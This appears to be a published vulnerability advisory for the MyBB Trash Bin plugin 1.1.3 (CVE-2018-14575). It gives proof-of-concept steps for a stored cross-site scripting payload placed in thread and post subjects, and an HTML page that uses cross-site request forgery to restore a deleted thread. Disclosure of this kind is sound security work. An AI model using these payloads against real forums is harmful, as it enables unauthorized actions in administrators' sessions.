MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery

2019-02-15 00:05:07

# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF
# Date: 7/17/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14575

1. Description:
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.

2. Proof of Concept:

Cross-Site Scripting

- Create a new thread with the following subject <script>alert('XSS')</script>
- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts

- Reply to a post and change the subject to the following <script>alert('XSS')</script>
- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts

Cross-Site Request Forgery

<html>
<body>

<div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
<script type="text/javascript">
$("#thread_1").popupMenu();
</script>
</body>
</html>

3. Solution:
Update to 1.1.4

Fixes

No fixes

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